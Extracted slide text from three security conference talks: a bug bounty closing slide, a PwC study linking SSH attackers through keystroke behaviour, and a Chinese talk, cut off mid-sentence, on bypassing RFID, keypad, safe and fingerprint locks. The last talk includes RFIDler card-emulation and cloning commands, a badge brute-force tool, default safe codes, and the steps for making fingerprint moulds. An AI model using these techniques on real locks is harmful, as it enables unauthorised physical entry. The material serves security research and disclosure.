Marisa Fagan - BugCrowd - HP / ZDI - CrowdCurity - HackerOne - SecuriTeam Thank you! Discussion! Screw Being A Pentester - When I Grow Up I Want To Be A Bug Bounty Hunter Jake Kouns @jkouns Chief Information Security Officer (CISO) Risk Based Security Carsten Eiram @CarstenEiram Chief Research Officer (CRO) Risk Based Security
pdf
Betrayed by the keyboard How what you type can give you away Matt Wixey Research Lead, PwC UK Cyber Security www.pwc.com Building a secure digital society. PwC │ 2 Disclaimer • The views and opinions expressed here are not necessarily those of PwC • This content is presented for educational purposes only • What this presentation isn’t… PwC │ 3 Introduction Matt Wixey • Research Lead for the Cyber Security BU • Work on the Ethical Hacking team • PhD student at UCL • Previously worked in LEA doing technical R&D PwC │ 4 Why this talk? • Based on some research I did at UCL • Interest in side-channel attacks • Humans have side-channels too • Previous work on forensic linguistics • First degree = English Literature and Language PwC │ 5 Agenda • What is attribution? • Problems • Case Linkage Analysis • Experimentation • Results • Implications • Summary PwC │ 6 What is attribution? • Why would we want to do it? • Benefits • Types • Approaches PwC │ 7 What is attribution? • Identifying an attacker’s location? • Hunker et al, 2008; Wheeler and Larsen, 2003 • Identify the country or organisation behind an attack? • Rid and Buchanan, 2014 • “Determining who is responsible for a hostile cyber act”? • Mejia, 2014 • “We must find a person, not a machine” • Clark and Landau, 2011 PwC │ 8 Benefits of attribution • Deterring future attacks • Improving defences • Interrupting and disrupting attacks (Hunker et al, 2008) • Does attribution actually lead to deterrence? (Guitton, 2012) • Regardless, attribution is a desirable outcome (depending on which side you’re on!) PwC │ 9 Types of attribution • Hutchins et al, 2011: Atomic Computed Behavioural PwC │ 10 Problems with attribution • Hiding atomic IOCs • Issues with computed IOCs • Lack of tangible benefits from behavioural IOCs PwC │ 11 Hiding atomic IOCs • These are the most effective identifiers • Easy to resolve (usually) • But also easiest to spoof/anonymise/obfuscate PwC │ 12 Issues with computed IOCs • Changes to malware make it harder • Other methods: • Correlating activity with office hours in timezones (Rid & Buchanan, 2014; CloudHopper) • Deanonymising developers through artefacts (Caliskan et al, 2015) • Similar malware capabilities (Moran & Bennett, 2013; Symantec, 2011) • Distinguishing humans vs bots (Filippoupolitis et al, 2014) PwC │ 13 Mo methods, mo problems • Less focused on individuals • Sufficient if aim is to identify a state/sponsor • Challenge is then legal/procedural PwC │ 14 Behavioural profiling • Less attribution • More trying to understand who hacks, and why • Motivation, skills, attack behaviours (Landreth, 1985) • Attitudes and culture (Chiesa et al, 2008; Watters et al, 2012) • Psychological (Shaw et al, 1998) PwC │ 15 Attack profiling • Humans vs bots • Filippoupolitis et al, 2014: Skill, education, typing speed, mistakes, etc • Skill level • Salles-Loustau et al, 2011: SSH honeypot. Stealth, enumeration, malware familiarity, protection of target • Attacker behaviour • Ramsbrock et al, 2007: Specific actions undertaken PwC │ 16 The problem • Profiling attackers is interesting • Next logical step is comparison • To what extent is an attacker’s profile similar to another’s? • Not really explored PwC │ 17 • The idea • Discovering case linkage analysis • Benefits of linking offences • What case linkage analysis is (and isn’t) • Methodology • Example • Exceptions Case Linkage Analysis PwC │ 18 The idea • I had an idea (rare occurrence - to be celebrated) • Lurking in OSCP labs a few years ago • Discussing attack techniques, commands, methodologies • Casual observation 1: everyone has their own way of doing things • Casual observation 2: this way of doing things rarely changes PwC │ 19 Science! • This seems obvious • My first degree was English Lit • Could pretty much make it up as you went along • Apparently, in science, you have to prove stuff • Can’t just write “this seems obvious” • Science is hard PwC │ 20 Discovering case linkage analysis • How could I empirically test this? • Came across “Case Linkage Analysis” • Methodology used in crime science literature • Designed to link separate crimes to common offenders • Based on behavioural aspects (Woodhams & Grant, 2006) PwC │ 21 Benefits of linking offences • Can attribute previously unsolved crimes • Can investigate offences under one grouping – focused resources • Useful evidentially • Database of offences grows = better chance of success • A minority of offenders commit the majority of crimes (?) • Not necessarily true of crime generally • But more accurate with specialist crimes PwC │ 22 Benefits of linking offences • Best method for linking = physical evidence (DNA, fingerprints, etc) • Highly accurate, but: • May be absent or inconclusive (Grubin et al, 1997) • Does not really apply to cyber attacks • Closest approximation is forensic artefacts, but these are not always unique • Time-consuming and expensive (Craik and Patrick, 1994) PwC │ 23 What case linkage analysis is • Uses behavioural evidence • Things the offender does during the commission of an offence • Classify granular crime behaviours into domains • Create linked and unlinked pairs of offences • Compare with behaviours in other offences • Determine degree of similarity PwC │ 24 What case linkage analysis isn’t • It’s not offender profiling • Offender profiling makes inferences about the offender • Based on assumption of consistency between criminal and everyday behaviour (Canter, 2000) • Based on this behaviour, I infer that the perpetrator is a balding but charismatic researcher from the UK PwC │ 25 What case linkage analysis isn’t • CLA: statistical inferences about the similarity of 2 or more offences, based on common behaviours • Crime A, perpetrated by Matt “Charismatic But Balding” Wixey, has several features in common with Crime B • Therefore, Wixey may have also committed Crime B PwC │ 26 Case linkage analysis in context • Two key assumptions • Behavioural consistency • Offenders display similar offending behaviours across crimes • Behavioural distinctiveness • The way an offender commits crimes is characteristic of that offender • And distinguishable from the style of other offenders (Canter, 1995) PwC │ 27 Case linkage analysis in context • Both assumptions must be present • Otherwise CLA is unlikely to be useful • e.g. homicide: dumping a body in a remote location is consistent for many offenders • But not distinctive PwC │ 28 Case linkage analysis in context • Individuals have stable, distinctive responses (Shoda et al, 1994) • Cognitive-affective personality system (CAPS) • Mischel & Shoda, 1995; Mischel, 1999 • System of goals, expectations, beliefs, plans, strategies, memories • CAPS is consistent yet distinctive (Zayas et al, 2002) PwC │ 29 Case linkage analysis in context • Assumptions of stability/distinctiveness made in other fields • Forensic linguistics • Word and sentence length; slang; typos; errors; syntax; idiolect; article frequency; syllable count; punctuation; hapax legomena; sentence length; stylistics • Language is socially acquired, continually – so may change • Some biometrics • Typing speed; typos; typing habits PwC │ 30 Case linkage analysis – does it work? • Consensus: yes, in most cases • Observed variance significantly smaller in linked crimes • Grubin et al, 1997; Mokros & Alison, 2002 • Significant evidence for cross-situational consistency • Both criminal and non-criminal behaviours (Tonkin et al, 2008) PwC │ 31 Methodology • Separate behaviours into domains • Calculate similarity coefficient • Input into logistic regression model • Determine optimal combination of domains • Receiver Operating Characteristic (ROC) curves PwC │ 32 Methodology • Lots of stats stuff • I hate stats. I am bad at stats. • Will try and explain this with a worked example • None of that “left as an exercise for the reader” nonsense PwC │ 33 Example • Two burglaries, A and B • We want to find out if the same offender did both • Define a dichotomous dependent variable • This is a Y/N question, and we’re trying to ‘predict’ the answer • And find out what variables contribute more • “Are these two crimes linked?” PwC │ 34 Example • Take granular behaviours and put them into domains • e.g. Entry behaviours = method of entry; tools used; time of day; etc • Property behaviours = property taken; property damaged; and so on • These are our independent variables • Make these dichotomous by turning into yes/no questions • e.g. Entry behaviours: “was a screwdriver used? Was a crowbar used? Was a window open? Were the occupants home?” etc PwC │ 35 Example • Then apply a similarity coefficient • Index of similarity • Jaccard’s is coarse, but the measure of choice (Tonkin et al, 2008) • x = count of behaviours present in both • y = count of behaviours present in A but not in B • z = inverse of y PwC │ 36 Example • 1 = perfect similarity • 0 = perfect dissimilarity • 1 coefficient per domain • Ignores joint non-occurrences • This is a concern when dealing with police data • Something may have been present, but not recorded • Less of a concern in this case PwC │ 37 Example • Each coefficient into direct logistic regression model • Predictive analysis • “To what extent does a given factor contribute to an outcome?” • e.g. “to what extent does being a smoker contribute to the risk of having a heart attack?” • Or “does similarity in the entry behaviours domain predict whether or not the two burglaries are linked?” PwC │ 38 Example • Logistic regression tells us: • Whether a variable is positively or negatively correlated with the outcome • How well a given variable fits with the data • The amount of variance that a given variable explains • A p-value (probability of seeing this result if the null hypothesis is true) • Run for each domain PwC │ 39 Example • Then forward stepwise logistic regression • Start with one domain • Add a domain at each step • If this contributes to the model’s predictive power, keep it • Else discard it • Determines optimal combination of domains PwC │ 40 Example • Regression results into ROC curves • Graphical representation • x (probability of false positive) against y (probability of true positive) • More reliable measure of predictive accuracy • Based on area under the curve (AUC) PwC │ 41 Example • Overcomes statistical issue of using pairs from same sample (Tonkin et al, 2008) • No reliance on arbitrary thresholds (Santtila et al, 2005) • Measure of overall predictive accuracy (Swets, 1988) PwC │ 42 Example http://www.statisticshowto.com/wp-content/uploads/2016/08/ROC-curve.png • Diagonal: no better than chance • The higher the AUC value, the greater the predictive accuracy • 0.5 – 0.7 = low • 0.7 – 0.9 = good • 0.9 – 1.0 = high • Swets, 1988 PwC │ 43 Exceptions • Some offences are less suitable, e.g. homicide • Bateman & Salfati, 2007; Harbort & Mokros, 2001; Sorochinski & Salfati, 2010 • Some offenders show more distinctiveness than others • Bouhana et al, 2016 • Some behaviours less consistent, e.g. property stolen in burglaries • Bennell & Canter, 2002; Bennell & Jones, 2005 PwC │ 44 Exceptions • MO is a learned behaviour, and offenders develop • Pervin, 2002; Douglas & Munn, 1992 • Offenders will change behaviours in response to events • Donald & Canter, 2002 • Behaviours under offender’s control more likely to be stable • Furr & Funder, 2004; Hettema & Hol, 1998 • So offences involving victim interaction may differ • e.g. whether victim fights back / runs / shouts for help, etc PwC │ 45 Exceptions • Most research only applied to solved crimes • Woodhams & Labuschagne, 2012 • Relatively small samples • Only serial offences • Slater et al, 2015 PwC │ 46 Experimentation • Concept • Research design • Hypothesis • Analysis • Results PwC │ 47 Concept • Could CLA be applied to network intrusions? • Specifically, where attacker has code execution • Has never been done before • Take granular behaviours (keystrokes, commands, etc) • Apply CLA methodology PwC │ 48 Research design • Common approach historically: use police reports • Can be inaccurate and/or incomplete • Victim accounts may be inaccurate • Alison et al, 2001; Canter & Alison, 2003 • Crimes are often traumatic • Traumatic experiences can distort memories • Freyd, 1996; Halligan et al, 2003 PwC │ 49 Research design • Crime reports unlikely to be granular enough • Previous studies on attacker profiling used simulations • Honeypot? • Needed ground truth, as CLA previously untested on this offence type • Same IP addresses do not guarantee same individual at keyboard • Need to also distinguish between bots and humans • Honeypots can be fingerprinted • Attackers may deliberately change approach PwC │ 50 Research design • Modified open source Python SSH keylogger (strace) • https://github.com/NetSPI/skl • Two VMs, exposed on the internet (SSH) • One account per user per box, to prevent bot attacks • Deliberate privesc vulnerabilities • Plus fake data to exfiltrate PwC │ 51 Research design • Obtained participants • 10x pentesters / students / amateur enthusiasts • Asked to SSH into both machines and try to: • Get root • Steal data • Cover tracks • Poke around • Meanwhile, I recorded all keystrokes on each VM PwC │ 52 Hypothesis Cyber attackers will exhibit consistent and distinctive behaviours whilst executing commands on compromised hosts, which will provide a statistically significant basis for distinguishing between linked and unlinked attack pairs. PwC │ 53 Analysis • Split into behavioural domains, 40 behaviours each: • Navigation – moving through filesystem • Enumeration • Exploitation – privesc and exfil attempts • Also coded for 3 metadata variables: • Number of ms between each keystroke • Number of ms between each command • Number of backspaces (as percentage of all keystrokes) PwC │ 54 Metadata variables • Non-dichotomous • Used in other CLA work, in addition to behavioural domains • Intercrime distance (Bennell & Canter, 2002) • Temporal proximity (Tonkin et al, 2008) • Filippoupolitis et al, 2014: commands typed per second • Problematic: length of command, time to complete, and time spent interpreting or manipulating output PwC │ 55 Example behaviours PwC │ 56 Analysis • Average attack time per host: 133.34 minutes • Average commands per host: 243 • 2 participants got root on Host A • 1 participant got root on Host B PwC │ 57 Similarity coefficients • 10 attackers, 2 machines = 100 crime pairs • Compare each attack against Host A to each attack against Host B • 10 linked pairs, 90 unlinked pairs • Wrote application to calculate the similarity coefficient: • For each pair for the 3 behavioural domains, and • Differences between the 3 metadata variables • Ended up with CSV file: • ID, paired (y/n), coefficients for each domain, differences for each metadata variable PwC │ 58 Similarity coefficients - behaviours PwC │ 59 Similarity coefficients - metadata PwC │ 60 Logistic regression • Imported CSV file into SPSS • Strenuous Package for Sad Students • Significant Probability of Statistics-related Stress • Direct logistic regression for each predictor variable • Then forward stepwise logistic regression • Six models in total, for each domain • Plus an optimal combination/order of all domains PwC │ 61 Results Here comes the slide you’ve all been waiting for… PwC │ 62 Results PwC │ 63 You’re too kind (waits for applause to die down) PwC │ 64 What does this tell us? • Three behavioural domains can classify linked/unlinked offences • High level of accuracy • Navigation: most effective predictor • Followed by exploitation, then enumeration • Strong positive correlation to dependent variable • Keystroke and command interval variables not reliable predictors • Backspace: weak negative correlation to linkage • Results statistically significant for behavioural domains • But not for any metadata variables PwC │ 65 ROC curves • Results used to build ROC curves PwC │ 66 ROC curves I got 0.992 AUC, but it just ain’t 1 https://www.discogs.com/artist/21742-Jay-Z#images/30264081 Jay-Z (A ROC fella) PwC │ 67 ROC curve results • Navigation = 0.992 • Enumeration = 0.912 • Exploitation = 0.964 • Keystroke internal = 0.572 • Command interval = 0.58 • Backspace variable = 0.702 • Optimal model (navigation & enumeration) = 1.0 PwC │ 68 Implications • Observations & comparisons • Investigation implications • Privacy implications • Defeating CLA • Threats to validity PwC │ 69 Observations & comparisons • High levels of consistency and distinctiveness • Navigation and enumeration combined • No need for exploitation (in this study) • Why was navigation specifically so prominent? • Something everyone does, every day • Enumeration & exploitation only done during attacks • Navigation behaviours may be more ingrained PwC │ 70 Observations & comparisons • Higher accuracy than other crime types • Behaviours less subject to influence may be more stable • Nature of offence: offenders less likely to be influences • Broader approach may change • But possibly not granular command choice • Especially navigation PwC │ 71 Observations & comparisons • Metadata variables significantly weaker • What you type has greater linking power than how you type • Latency may have affected some of the results • But mistakes/typos show some promise • Needs further exploration PwC │ 72 Implications for investigators • Can link separate offences to common offenders • With no atomic or computed IOCs • But need a lot of information • Previous CLA/attribution work: limited, specific info required • Bennell & Canter, 2002; Hutchins et al, 2010; Clark & Landau, 2011 • Here, need as much as possible • As granular as possible PwC │ 73 Implications for investigators • Need to be in a position to capture commands/keystrokes • High-interaction honeypots • Verbose and detailed logging • Backdoored CTFs or vulnerable VMs PwC │ 74 Implications for investigators • Could also link attackers who trained together • Or who have all done a certain certification • Sample commands and code • Dilutes CLA assumption of distinctiveness • But could still assist with attribution PwC │ 75 Privacy implications • People can be linked to separate hosts/identities • Based on approaches, syntax, and commands • Regardless of anonymising measures • Regardless of good OPSEC elsewhere PwC │ 76 Privacy implications • Like forensic linguistics, exploits stable behavioural traits • Won’t be 100% accurate obviously • And affects less of the population, cp. forensic linguistics • e.g. ~86% of the population is literate* • Less people than that can operate a command-line * https://data.worldbank.org/indicator/SE.ADT.LITR.ZS, 27/06/18 PwC │ 77 Privacy implications • This study only focused on commands • May also apply to: • Typos, and the way you correct them • How you form capitals • Using PgDn/PgUp • Using arrow keys rather than the mouse • Tabs/spaces • Keyboard shortcuts • Use of, and preference for, bracket types PwC │ 78 Privacy implications • If someone can log your keystrokes, you have issues anyway • But this is less about identification • If someone can log your keystrokes, it’s not hard to find out who you are • This is more about attribution via linkage • Could be used to link you to historical activity • Or future activity • Used to build up repository of command profiles PwC │ 79 Defeating CLA • Similar to defeating authorship identification • Make a conscious decision to disguise your style • Forensic linguistics: solutions range from crude (Google Translate) to sophisticated (automated changes to sentence construction, synonym substitution, etc) • CLA different – e.g. alias command would not work • Hard to automate – can’t predict commands in advance • Could semi-automate, using scripts PwC │ 80 Defeating CLA • Conscious changes are probably the best way to do it • Randomising ordering of command switches • Switching up tools used e.g. wget instead of curl; vi instead of nano; less instead of cat PwC │ 81 Threats to validity • Very small sample • Not real-world data • Attackers were willing volunteers • Knew they had permission, with no risk of reprisal • Linux only • One scenario (low-priv shell) • Attackers may not always want/need to escalate PwC │ 82 • Topics for future research • Collaboration • Conclusion • References Summary PwC │ 83 Future research • Explore effects of expertise and temporal proximity • Further research into metadata variables for mistakes • Real-world data • Stochastic analysis • Greater environmental and scenario diversity • Real-time or near real-time automation PwC │ 84 Collaboration • Get in touch if you want to discuss • @darkartlab • [email protected] PwC │ 85 Conclusion • Small, novel study • Some promising results • Significant implications for defenders/investigators • As well as implications for privacy • Needs further investigation PwC │ 86 References Alison, L.J., Snook, B. and Stein, K.L., 2001. Unobtrusive measurement: Using police information for forensic research. Qualitative Research, 1(2), 241-254. Bateman, A.L. and Salfati, C.G., 2007. An examination of behavioral consistency using individual behaviors or groups of behaviors in serial homicide. Behavioral Sciences & the Law, 25(4), 527-544. Bennell, C. and Canter, D.V., 2002. Linking commercial burglaries by modus operandi: Tests using regression and ROC analysis. Science & Justice, 42(3), 153-164. Bennell, C. and Jones, N.J., 2005. Between a ROC and a hard place: A method for linking serial burglaries by modus operandi. Journal of Investigative Psychology and Offender Profiling, 2(1), 23-41. Bouhana, N., Johnson, S.D. and Porter, M., 2014. Consistency and specificity in burglars who commit prolific residential burglary: Testing the core assumptions underpinning behavioural crime linkage. Legal and Criminological Psychology, 21(1), 77-94. Caliskan-Islam, A., Yamaguchi, F., Dauber, E., Harang, R., Rieck, K., Greenstadt, R. and Narayanan, A., 2015. When Coding Style Survives Compilation: Deanonymizing Programmers from Executable Binaries. arXiv preprint arXiv:1512.08546. Canter, D., 1995. Psychology of offender profiling. Handbook of psychology in legal contexts (1994). Canter, D., 2000. Offender profiling and criminal differentiation. Legal and Criminological Psychology, 5(1), 23-46. Chiesa, R., Ducci, S. and Ciappi, S., 2008. Profiling hackers: the science of criminal profiling as applied to the world of hacking (Vol. 49). CRC Press. Clark, D.D. and Landau, S., 2011. Untangling attribution. Harv. Nat'l Sec. J., 2 Craik, M. and Patrick, A., 1994. Linking serial offences. Policing London 10 data.worldbank.org/indicator/SE.ADT.LITR.ZS, accessed 27/06/2018 PwC │ 87 References Donald, I. and Canter, D., 1992. Intentionality and fatality during the King's Cross underground fire. European journal of social psychology, 22(3), 203-218. Douglas, J.E. and Munn, C., 1992. Violent crime scene analysis: Modus operandi, signature and staging. FBI Law Enforcement Bulletin, 61(2). Filippoupolitis, A., Loukas, G. and Kapetanakis, S., 2014. Towards real-time profiling of human attackers and bot detection. http://gala.gre.ac.uk/14947/1/14947_Loukas_Towards%20real%20time%20profiling%20(AAM)%202014..pdf, accessed 05/07/2018. Freyd, Jennifer J., 1996. Betrayal Trauma: The Logic of Forgetting Childhood Abuse. Cambridge: Harvard University Press. Furr, R.M. and Funder, D.C., 2004. Situational similarity and behavioral consistency: Subjective, objective, variable-centered, and person-centered approaches. Journal of Research in Personality, 38(5), 421-447. github.com/NetSPI/skl, accessed 27/06/2018 Grubin, D., Kelly, P. and Brunsdon, C., 2001. Linking serious sexual assaults through behaviour (Vol. 215). Home Office, Research, Development and Statistics Directorate. Guitton, C., 2012. Criminals and cyber attacks: The missing link between attribution and deterrence. International Journal of Cyber Criminology, 6 Halligan, S. L., Michael, T., Clark, D. M., & Ehlers, A. (2003). Posttraumatic stress disorder following assault: The role of cognitive processing, trauma memory, and appraisals. Journal of consulting and clinical psychology, 71(3) Harbort, S. and Mokros, A., 2001. Serial Murderers in Germany from 1945 to 1995: A Descriptive Study. Homicide Studies, 5(4), 311-334. Hettema, J. and Hol, D.P., 1998. Primary control and the consistency of interpersonal behaviour across different situations. European journal of personality, 12(4), 231-247. Hunker, J., Hutchinson, B. and Margulies, J., 2008. Role and challenges for sufficient cyber-attack attribution. Institute for Information Infrastructure Protection 5-10. Hutchins, E.M., Cloppert, M.J. and Amin, R.M., 2011. Intelligence-driven computer network defense informed by analysis of adversary campaigns and intrusion kill chains. Leading Issues in Information Warfare & Security Research, 1 Landreth, B., 1985. Out of the inner circle: A hacker guide to computer security. Microsoft Press. PwC │ 88 References Mejia, E.F., 2014. Act and actor attribution in cyberspace: a proposed analytic framework. Air Univ Maxwell AFB AL Strategic Studies Quarterly. Mischel, W. and Shoda, Y., 1995. A cognitive-affective system theory of personality: reconceptualizing situations, dispositions, dynamics, and invariance in personality structure. Psychological review, 102(2) Mischel, W., 1999. Personality coherence and dispositions in a cognitive-affective personality system (CAPS) approach. In: The coherence of personality: Social-cognitive bases of consistency, variability, and organization (eds. Cervone and Shoda), 37-60. Mokros, A. and Alison, L.J., 2002. Is offender profiling possible? Testing the predicted homology of crime scene actions and background characteristics in a sample of rapists. Legal and Criminological Psychology, 7(1), 25-43. Moran, N. and Bennett, J., 2013. Supply Chain Analysis: From Quartermaster to Sun-shop (Vol. 11). FireEye Labs. Pervin, L.A., 2002. Current controversies and issues in personality. 3rd ed. John Wiley & Sons. Ramsbrock, D., Berthier, R. and Cukier, M., 2007, June. Profiling attacker behavior following SSH compromises. In 37th Annual IEEE/IFIP international conference on dependable systems and networks (DSN'07) 119-124 Raynal, F., Berthier, Y., Biondi, P. and Kaminsky, D., 2004. Honeypot forensics, Part II: analyzing the compromised host. IEEE security & privacy, 2(5), 77-80. Rid, T. and Buchanan, B., 2015. Attributing cyber attacks. Journal of Strategic Studies, 38(1-2), 4-37 Salles-Loustau, G., Berthier, R., Collange, E., Sobesto, B. and Cukier, M., 2011, December. Characterizing attackers and attacks: An empirical study. In Dependable Computing (PRDC), 2011 IEEE 17th Pacific Rim International Symposium on Dependable Computing 174-183 Shaw, E., Ruby, K. and Post, J., 1998. The insider threat to information systems: The psychology of the dangerous insider. Security Awareness Bulletin, 2(98), 1-10. Shoda, Y., Mischel, W. and Wright, J.C., 1994. Intraindividual stability in the organization and patterning of behavior: incorporating psychological situations into the idiographic analysis of personality. Journal of personality and social psychology, 67(4) PwC │ 89 References Slater, C., Woodhams, J. and Hamilton-Giachritsis, C., 2015. Testing the Assumptions of Crime Linkage with Stranger Sex Offenses: A More Ecologically-Valid Study. Journal of Police and Criminal Psychology, 30(4), 261-273. Sorochinski, M. and Salfati, C.G., 2010. The consistency of inconsistency in serial homicide: Patterns of behavioural change across series. Journal of Investigative Psychology and Offender Profiling, 7(2), 109-136. Swets, J.A., 1988. Measuring the accuracy of diagnostic systems. Science, 240(4857), 1285-1293. Symantec, 2011. W32.Duqu: The precursor to the next Stuxnet. Symantec Corporation, California, USA. Available from https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf Tonkin, M., Grant, T. and Bond, J.W., 2008. To link or not to link: A test of the case linkage principles using serial car theft data. Journal of Investigative Psychology and Offender Profiling, 5(1‐2), 59-77. Watters, P.A., McCombie, S., Layton, R. and Pieprzyk, J., 2012. Characterising and predicting cyber attacks using the Cyber Attacker Model Profile (CAMP). Journal of Money Laundering Control, 15(4), 430-441. Wheeler, D.A. and Larsen, G.N., 2003. Techniques for cyber attack attribution (No. IDA-P-3792). Institute for Defense Analyses, Alexandria, VA, USA. Woodhams, J. and Grant, T., 2006. Developing a categorization system for rapists’ speech. Psychology, Crime & Law, 12(3), 245-260. Woodhams, J. and Labuschagne, G., 2012. A test of case linkage principles with solved and unsolved serial rapes. Journal of Police and Criminal Psychology, 27(1), 85-98. Zayas, V., Shoda, Y. and Ayduk, O.N., 2002. Personality in context: An interpersonal systems perspective. Journal of personality, 70(6), 851-900. PwC │ 90 At PwC, our purpose is to build trust in society and solve important problems. We’re a network of firms in 157 countries with more than 223,000 people who are committed to delivering quality in assurance, advisory and tax services. Find out more and tell us what matters to you by visiting us at www.pwc.com. This publication has been prepared for general guidance on matters of interest only, and does not constitute professional advice. You should not act upon the information contained in this publication without obtaining specific professional advice. No representation or warranty (express or implied) is given as to the accuracy or completeness of the information contained in this publication, and, to the extent permitted by law, PricewaterhouseCoopers LLP, its members, employees and agents do not accept or assume any liability, responsibility or duty of care for any consequences of you or anyone else acting, or refraining to act, in reliance on the information contained in this publication or for any decision based on it. © 2018 PricewaterhouseCoopers LLP. All rights reserved. In this document, "PwC" refers to the UK member firm, and may sometimes refer to the PwC network. Each member firm is a separate legal entity. Please see www.pwc.com/structure for further details. Design services 31310_PRES_04/18 @darkartlab [email protected] Thoughts, questions, feedback:
pdf
⿊黑⽆无⽌止境 — 那些年我们绕过的锁 Kevin2600 议程: . 关于锁的那点事 . 开锁@数字时代 . 开锁@⽆无线时代 . 开锁@物联⺴⽹网时代 I . 开锁@物联⺴⽹网时代 II 锁的起源: 历史上最早出现的锁,由⽊木头制成.可以追溯到4000年前 的古埃及. 在随后的罗⻢马世纪, ⼜又出现了由⾦金银铜等材质制成的锁. 这在当时是财富及⾝身份的象征. 在中国仰韶⽂文化遗址中出现过早期的⽊木质锁. 汉朝时出现 了俗称三簧锁的铜质簧⽚片锁,可以说是中国锁具发展历上 的⼀一次质的⻜飞越. 锁的类型: 锁的结构: 起始 错误 正确 开锁 开锁@⽆无线时代 Samsung: Ezon RFID ⻔门锁 分析ing: Proxmark3:Snoop ⻔门卡和⻔门锁之间的数据交互… Mifare 加密算法Crypto1 可轻易破解..但是... Ezon ⻔门卡 == Mifare classic 1K !!? 但 Mifare UID 可读写卡的出现改变了这⼀一切. 早期的 Mifare 卡 Block 0 in Sector 0 不可写. 只需Sniff 到UID, 便可实现克隆. 连破解Key都省了. 分析数据的交互, 原来 4bytes 的 UID 才是亮点. 真相⼤大⽩白: 视频演⽰示: 防暴⼒力破解功能? 5 次错误密码, 触发警铃. 4次错误密码, 1次Reset 键呢? HID-Prox2 低频⻔门锁 . ⽆无任何加密和认证机制 . 后端Wiegand 26 bits 协议(包括iClass) . 设施编号 = 21(8 bits) . 卡号 =29644 (16 bits) 神器 RFIDler 软件RFID: RF前端由硬件处理, 其余都交给软件负责(调制; 编码) 相对 Proxmark3 来说, 价格便宜的多. 但仅针对低频 125khz /134khz 功能包括: 读写⻔门卡, 模拟⻔门卡, 外接天线, 嗅探⻔门卡和⻔门禁之间的交互 RFIDler 案例: 调制 HID EM4x02 RFIDler 案例: HID 模拟 . 通过 minicom 连接到 RFIDler . 也可通过 rfidler.py 直接跟其交互(import RFIDler) > set tag hid26 > encode 123 87654 hid26 > emulator 视频演⽰示: RFIDler 案例: 完全克隆 . RFIDler 完全⽀支持读写 T55x7; Q5; HITAG .. . 低频⻔门禁卡克隆必备 T55x7 > set tag hid26 > copy T55x7 > clone > ⽀支持多种编码格式 > 可重复擦写10万次之多 视频演⽰示: RFIDler 案例: 暴⼒力枚举 . 特定区域低级别⻔门禁卡号⽆无法访问 . 可以通过暴⼒力枚举的⽅方式实现升级访问⺫⽬目的 (github.com/kevin2600/RFIDler-HID26-BruteForce) . HID 对每套⻔门禁的卡号分配都有规律可寻 视频演⽰示: BLEKey — RFID 读卡器后⻔门 github.com/LinkLayer/BLEKey 开锁@数字时代 不保险的保险箱 . 电影中破解保险箱时, 喜欢运⽤用各种⾼高⼤大上的科技⼿手段 . 要不就是必须使⽤用各种重型⼯工具: 钳⼦子; 榔头; 斧⼦子; 电锯.. . 其实是可以这样玩的…. 传闻 vs 事实 保险箱的第1关: 备⽤用钥匙 保险箱通常⽤用传统钥匙, 来防⽌止密码遗忘. 但却往往是最薄弱的环节... 保险箱的第2关: 复位键 保险箱通常会⽤用复位键来清空密码. 但总出现在不该出现的地⽅方... 保险箱的第3关: 默认密码 保险箱有时还会有默认特权密码. 但⽤用户往往忘记更改… 保险箱的第4关: ⼚厂商后⻔门? ⼚厂商喜欢设置后⻔门来防⽌止密码遗忘. 但换来的却是… RTFM.. 指纹识别锁真的安全吗? 指纹识别技术通过读取指纹图像, 然后提取指纹的特征, 最后通过匹配识 别算法得到识别结果. 每个⼈人的指纹是独⼀一⽆无⼆二, 两⼈人之间不存在着相同的⼿手指指纹. 并且每个 ⼈人的指纹是固定的, 通常不会发⽣生变化. 指纹识别中使⽤用的模板并⾮非最初的指纹图, ⽽而是由指纹图中提取的关键 特征. 指纹的特性使其⼲⼴广泛运⽤用在⻔门禁系统, 考勤系统中. 基本纹路图案包括: 环型 (Loop); 螺旋型 (whorl) 和⼸弓型 (Arch). 使其 独⼀一⽆无⼆二的是每个纹路的起点, 终点, 分叉等细节特征. 指纹的特性 指纹纹路上都布满了汗腺, 不断分泌汗⽔水, 脂肪和蛋⽩白质. 其分泌物 的粘性强, 挥发慢, 会停留在物体上较⻓长的时间. ⼿手指⽪皮肤组织有很强的再⽣生能⼒力. 在意外刮伤的情况下, 也能在⼀一段 时间后恢复原样. 纹路形状⼀一⽣生都不改变. 指纹识别机 光学指纹识别是通过激光射在⼿手指指纹的凹凸⾯面,并反射回感应器,并形成指 纹图⽚片,再与之前采集的指纹图⽚片进⾏行⽐比较 当下最常⻅见的指纹识别机: 光学指纹识别(考勤机); 电容式指纹识别(IPhone) 影响指纹机识别率的因素: ⼿手指肮脏, ⼿手指疤痕等导致的指纹差异. 都会影响 指纹质量, 使同⼀一⼿手指的指纹⽆无法被系统正常辨识 指纹模提取&复制 当光学指纹机激光射在硅胶指纹膜时,如果纹路清晰,指纹机就可以被正常 识别. 从⽽而达到欺骗指纹机的⺫⽬目的. ⽤用⼿手指按在热熔胶;蜡烛模上形成带有指纹的模具,然后将硅胶倒⼊入定型. 经过倒模⼯工序后, 制成硅胶指纹套. http://dasalte.ccc.de/biometrie/fingerabdruck_kopieren.en 视频演⽰示: 临时解决⽅方案? 数字密码锁 - YL 99 Master 账号: 设置管理⽤用户密码 (默认 0123 #) 特殊账号: 可激活⼀一键开锁功能 (必须 9 作为起始) 普通账号: 同时存储10 多组密码供不同⽤用户使⽤用 (1 - 8 作为起始) 贴⼼心防密码泄漏功能: 起始码 + xxxx + 正确密码 + # (结束确认) 但是千⾥里之堤, 毁于蚁⽳穴 … 视频演⽰示: Reset 视频演⽰示: Relay 但是 … 短接 Reset 键, 回复到默认设置. 但是容易暴露. 短接 Relay 键, ⼏几乎毫⽆无痕迹. 但是通常需要多⼈人配合. 每次都需卸螺丝 —> 短接 Reset 键 —> 恢复原样 (过程繁琐) 好戏才刚刚开始 … RTFM .. 经典 EEPROM 24C02, 存储⽤用户密码 (l2C 协议) 使⽤用 em78p156e 作为系统微处理器 I2C 仅需 2条总线⽤用于交互数据: SCL (时钟频率) + SDA (数据总线) ⼯工欲善其事, 必先利其器 (BusPirate) ⽀支持 Windows / Linux / Mac ⽀支持 I2C / SPI / UART / 1-Wire / JTAG 拥有丰富的帮助⽂文档. 嵌⼊入式研究必备神器! The Hack 密码输⼊入流程: 起始码 (0) + 正确密码 + 结束确认(#) 结束确认(#)后, 处理器向 EEPROM 